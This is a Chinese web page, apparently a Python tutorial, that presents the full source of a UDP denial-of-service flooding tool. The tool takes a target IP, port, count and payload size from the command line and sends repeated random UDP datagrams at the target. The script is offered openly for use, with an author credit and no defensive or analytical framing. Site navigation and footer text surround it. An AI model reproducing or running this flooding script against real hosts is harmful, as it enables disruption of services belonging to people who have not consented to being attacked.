栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Python编写DOS工具

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Python编写DOS工具

如何用python写一个UDPDOS攻击工具?

废话不多说,上源码!

#!/bin/python3
import threading
import socket
import time
import random
import sys
def logo ():
    print (" _   _ ____  ____   _  _____ _____  _    ____ _  __")
    print ("| | | |  _ |  _  / |_   _|_   _|/   / ___| |/ /")
    print ("| | | | | | | |_) / _  | |   | | / _ | |   | ' /")
    print ("| |_| | |_| |  __/ ___ | |   | |/ ___  |___| .  ")
    print (" ___/|____/|_| /_/   __|   |_/_/   _____|_|_ ")
    print ("n [-]请填写足够运行的参数: python3",sys.argv[0]," [ip] [port] [len] [max]nn----作者:ms9944")
class udpattack():
    def start(ip,port,len,max):
        try:
            attack = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
            address = (str(ip), port)
            ipaddr = (ip, port)
            l = 1
            while l <= len:
                attack.sendto(random._urandom(1024 * max), ipaddr)
                print(" Attack!==>ip:", ip,"==>port:", str(port)," ==>", str(len), "s==>max" , str(max))
                l = l + 1
        except KeyboardInterrupt:
            print ("攻击停止......")
if __name__ == "__main__":
    if len(sys.argv)!= 5:
        logo()
    else:
         udpattack.start(sys.argv[1],int(sys.argv[2]),int(sys.argv[3]),int(sys.argv[4]))

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/857762.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号